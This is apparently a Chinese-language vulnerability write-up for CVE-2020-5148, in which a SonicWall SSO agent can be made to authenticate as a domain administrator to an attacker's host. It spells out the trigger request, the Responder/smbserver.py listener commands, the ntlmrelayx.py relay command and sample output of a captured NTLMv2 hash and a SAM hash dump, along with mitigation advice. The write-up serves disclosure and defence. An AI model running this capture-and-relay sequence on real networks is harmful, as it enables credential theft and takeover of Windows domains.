SonicWall UTM SSO 代理中的强制认证
SonicWall SSO 代理通过使用 NetAPI(默认)或 WMI 探测工作站,来识别给定 IP 地址背后的用户。它在启动 NTLM 认证之前不会验证工作站,并且在会话生命周期内会持续轮询同一地址。
由于 SSO 代理服务需要在其探测的每个工作站和服务器上具有管理员权限,因此在实践中它通常以域管理员身份部署。任何能够通过 UTM 设备路由 Web 流量的未认证方,都可以使域管理员帐户向攻击者选择的主机进行认证,并捕获或中继该认证。
已发布为 CVE-2020-5148,厂商安全公告 SNWLID-2021-0003。
由 Sedric Louissaint 的 Show Up Show Out Security 发现并报告。
| CVE | CVE-2020-5148 |
| 产品 | SonicWall UTM 设备和 SSO 代理 / 目录服务连接器 |
| 受影响版本 | SSO 代理 4.1.10.0;目录服务连接器 4.1.17 及更早版本 |
| 修复版本 | NVD 记录修复在目录服务连接器 4.1.19 中(见下方注释) |
| 弱点 | CWE-287:认证不当 |
| CVSS 3.1 (NVD) | 8.2 高 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N |
| CVSS(研究者) | 8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| 发布时间 | 2021-03-05 |
| 测试环境 | Microsoft Windows Server 2012 R2 Standard |
| 是否需要认证 | 否 |
| 厂商安全公告 | https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003 |
NVD 描述:
SonicWall SSO 代理默认配置使用 NetAPI 探测网络中的相关 IP,该客户端探测方法允许潜在攻击者捕获密码哈希

标注指出了厂商图示中遗漏的内容:
SSO 代理服务需要拥有所有关联工作站和服务器的管理员权限才能执行查询。在实际部署中,这几乎意味着该服务帐户是域管理员。
因此,交给未经验证主机的凭证是目录中权限最高的帐户。

无需利用代码。任何从设备处理网段发出的出站 Web 请求都足以触发:
curl sonicwall.com

URL 无关紧要,请求也不需要成功。设备观察到来自未识别 IP 的流量,要求 SSO 代理识别该 IP 对应的用户,然后代理便向该 IP 发起认证。
使用 Responder 或 smbserver.py 进行监听,代理的 NTLMv2 认证会未经提示地到达,并且由于轮询行为,会持续到达:
[SMB] NTLMv2-SSP Client : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash : ...

破解并非必需。在未强制执行 SMB 签名的环境中,该认证可以实时中继到另一台主机,后者会将连接视为它所显示的特权帐户:
ntlmrelayx.py -t <target> -smb2support -of <output>
[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

认证由未认证的 Web 请求触发,并在完全不同的机器上被利用,这正是安全公告中描述的完整 ACL 绕过。
在您拥有或获授权测试的实验室中,使用配置了 SSO 的 UTM 设备以及使用默认 NetAPI 客户端探测方法的 SSO 代理:
sudo responder -I <interface>
# 或
sudo smbserver.py c . -smb2support
curl sonicwall.com
ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
完整命令序列参见 poc/repro.sh。
poc/
repro.sh 监听器、触发和中继命令,已注释,可安全优先阅读
notes.md 为什么 NetAPI 会触发此问题,WMI 有何不同,检测指南
media/
01-sso-flow-annotated.png
02-curl-crossing-network-boundary.png
03-ntlmv2-hashes-captured.png
04-ntlmrelayx-sam-dump.png
05-sso-agent-version-4.1.10.0.png
捕获中的用户名、哈希和内部地址已编辑或来自原始实验室。
administrator 通过 SSO 代理服务、域控制器、Exchange 服务器或终端服务器登录。如果帐户必须保留特权,请使用足够长的密码(20 个字符或以上,且绝不重复使用),使得离线破解不切实际。| 日期 | 事件 |
|---|---|
| 2020 | 发现并报告给 SonicWall |
| 2021-03-05 | CVE-2020-5148 发布,安全公告 SNWLID-2021-0003 |
在厂商披露后发布,仅供防御和教育用途。此处没有利用代码,因为根本不需要,这正是该发现的关键点。请不要对您不拥有或未获得书面授权测试的网络运行这些命令。